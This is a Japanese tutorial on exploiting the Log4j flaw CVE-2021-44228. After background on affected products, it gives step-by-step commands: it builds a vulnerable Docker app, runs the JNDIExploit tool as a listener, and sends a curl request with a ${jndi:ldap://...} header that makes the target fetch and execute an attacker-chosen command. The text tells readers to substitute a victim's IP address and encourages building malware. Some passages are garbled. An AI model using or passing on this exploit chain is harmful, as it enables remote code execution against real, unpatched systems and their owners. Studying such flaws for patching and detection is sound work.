

JavaのロギングライブラリLog4jに関連するリモートコード実行の脆弱性が発見されました。
CVE-2021-44228 この脆弱性は、Wannacry以来の衝撃をグローバルなサイバーコミュニティに引き起こしています。
Javaで書かれたほとんどのアプリケーションが影響を受け、脆弱であると考えられています。特にApache Struts2、Apache Solr、Apache Druid、Apache FlinkなどのApacheフレームワークが対象です。さらに、ElasticSearch、Flume、Logstash、Kafka、Netty、MyBatis、Spring-Boot-starter-log4jも脆弱です。 インターネット上の最も人気のある製品やサービスのいくつか(Apple iCloud、Amazon、Steam、Twitterを含む)は、これらのフレームワークに依存して動作しています。これには、多数のエンタープライズおよびサイバーセキュリティアプリケーションも含まれると考えられています。
Radware(継続的に適応するリアルタイムDDoSサービス)は、log4jのメッセージルックアップ置換を有効にして利用しているソフトウェアのみが影響を受けると述べています。バージョン2.15.0以降では、メッセージルックアップ置換がデフォルトで無効になっており、パッチ適用が必要です。Log4j 2のバージョン2.0-beta9から2.14.1まではすべて脆弱であり、悪用可能です。


まず最初に、このガイドはKali Linux VMで動作し、次のコマンドでJavaリスナーを実行することを前提としています(動画ガイドの左側のように)。 脆弱性アプリケーションのDockerイメージをビルドし、それを実行します。 では、これを実行しましょう。
docker build . -t vulnerable-app次のステップでは、実際にデプロイされた脆弱なアプリを実行します。
次のコマンド:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
これで、動画ガイドのようにSpringスクリプトが実行されるはずです。
ここで、LDAPサーバーのフィンガープリントを取得するために、LDAPリンクを作成するだけです。まず、エクスプロイトツールJNDIExploit-1.2をダウンロードします。 JNDIExploitのダウンロードURLはGitHubによって削除されたため、アーカイブからダウンロードします(以下のURL)。 次のURLでアーカイブからダウンロードします: JNDIExploitArchiveUrl
では、これを実行します。
JNDIExploitを解凍します。
Javaリスナーを実行: java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "replace_with_ypure_IP-ADDR" -p 8888.
注: "replace_with your IP-addr" を削除し、自分のリスナーIPを入力してください。 (括弧は含めないでください)。
次のステップは、エクスプロイトをトリガーするために、次のコマンドを実行します:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
注: "ip-addr" をJavaでリッスンしているローカルIPに置き換え、127.0.0.1を被害者のIPアドレスに置き換えてください。以上で、base64エンコードされたhello-world文字列を受信します。同様に、任意の操作が可能です。さらに多くのテクニックを発見してください。Minecraft、Burp Suiteツールを使用したコンピュータ上のオープンサービスの操作など、想像力を働かせてプロダクティブモードに入り、即興力を高め、次のマルウェアを構成してください。
base64文字列(hello-world)を、LDAPサーバーを介してクエリを実行するためのJSコード実行に置き換えることができます。